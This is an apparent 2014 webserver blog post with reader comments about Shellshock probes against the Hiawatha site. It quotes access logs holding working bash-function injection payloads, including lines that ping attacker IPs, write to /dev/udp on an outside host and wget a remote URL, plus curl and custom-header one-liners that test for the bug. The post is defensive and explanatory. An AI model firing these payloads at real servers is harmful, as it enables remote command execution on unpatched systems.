Weblog

Looks like people are already trying to exploit this:

209.126.230.72|Thu 25 Sep 2014 04:13:18 +0200|200|1755||GET / HTTP/1.0|User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)|Accept: */*|Host:() { :; }; ping -c 23 209.126.230.74|Referer: () { :; }; ping -c 11 209.126.230.74

24.251.197.244|Thu 25 Sep 2014 10:29:06 +0200|301|920||GET / HTTP/1.1|User-Agent: () { :; }; echo -e "Content-Type: text/plain\n"; echo qQQQQQq|Host: hiawatha-webserver.org|Accept: */*

24.251.197.244|Thu 25 Sep 2014 10:29:07 +0200|200|5573||GET / HTTP/1.1|User-Agent: () { :; }; echo -e "Content-Type: text/plain\n"; echo qQQQQQq|Host: www.hiawatha-webserver.org|Accept: */*

89.207.135.125|Thu 25 Sep 2014 12:23:54 +0200|404|822||GET /cgi-sys/defaultwebpage.cgi HTTP/1.0|User-Agent: () { :;}; /bin/ping -c 1 198.101.206.138|Accept: */*

166.78.61.142|Thu 25 Sep 2014 16:29:31 +0200|301|920||GET / HTTP/1.1|User-Agent: () { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444|Host: hiawatha-webserver.org|Accept: */*

93.103.21.231|Fri 26 Sep 2014 04:32:18 +0200|301|920||GET / HTTP/1.1|Content-Type: text/html|Host: hiawatha-webserver.org|Accept: text/html, */*|User-Agent:  () { :;}; wget 'http://taxiairportpop.com/s.php?s=http://hiawatha-webserver.org/'

37.61.244.194|Fri 26 Sep 2014 09:13:27 +0200|301|954||GET /images/banners/hiawatha_392x72.png HTTP/1.1|Host: www.hiawatha-webserver.org|User-Agent: () { :;};ls -lsa|Accept: image/png,image/*;q=0.8,*/*;q=0.5|Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3|Accept-Encoding: gzip, deflate|Referer: () { :;};ls -lsa|Connection: keep-alive

37.61.244.194|Fri 26 Sep 2014 09:13:28 +0200|200|32505||GET /images/banners/hiawatha_392x72.png HTTP/1.1|Host: www.hiawatha-webserver.org|User-Agent: () { :;};ls -lsa|Accept: image/png,image/*;q=0.8,*/*;q=0.5|Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3|Accept-Encoding: gzip, deflate|Referer: () { :;};ls -lsa|Connection: keep-alive

I updated this post with the latest logs. Looks like I was right about the User-Agent and Referer header.

There are more HTTP headers that get literally transferred to CGI scripts via environment variables and could hence be used to trigger the bash bug, e.g. User-Agent and Referer:

curl -A '() { :; }; echo; echo vulnerable; exit' http://localhost/test.cgi
curl -e '() { :; }; echo; echo vulnerable; exit' http://localhost/test.cgi

Hugo:

Are you stating above that currently Hiawatha is currently vulnerable and needs immediate patching

OR

Are you saying that people are trying to breach but Hiawatha is still secure but that you are surprise of other attack surfaces.

Cheers,

md

@mx: Actually, any HTTP header will do. You can, for example, use an X-Exploit header.

GET /script.sh HTTP/1.0
X-Exploit: () { ignored; }; echo "Content-Type: text/plain\r\n\r"; /usr/bin/id

This will be exported via the HTTP_X_EXPLOIT variable.

Oop, I forgot to add that I am using php-fpm, so there is no environment variables there, just a unix socket.

Should those run php-fpm be concerned? Or ONLY CGI people?

@Marco: Hiawatha and PHP are not vulnerable, it's Bash (/bin/bash) that holds the bug. Bash should be patched. Of course, I already patched my system. Therefore, any attempt on my server will fail.

So, unless you enabled Hiawatha to allow the execution of CGI scripts via CGIextension or CGIhandler and a bash script is available in one of your websites, you have nothing to worry about.

Mr Hugo:

You Sir, Are a scholar and a gentleman....

Thanks for continued efforts of the super lightweight Hiawatha!

Thank you guys for this informations here. On my OpenBSD there is no bash. But Debian testing / Raspbian Jessie has no fix until now. Thats quite bad.

@Hugo: I think your examples are missing a -e switch to echo or it won't turn \r and \n into the actual return and newline characters.

That is possible. I tested this on my MacBook. Bash on a Mac doesn't require the -e. It's possible that bash on Linux does.

Hugo, once more thank you for the no nonsense open-book approach paired with an accute awareness of what's playing in security.

You're welcome!

Thanks Hugo for your efforts! As soon as I opened my new page a bunch of evil requests appeared, so a secure server is a must. I really hope I can help you someday.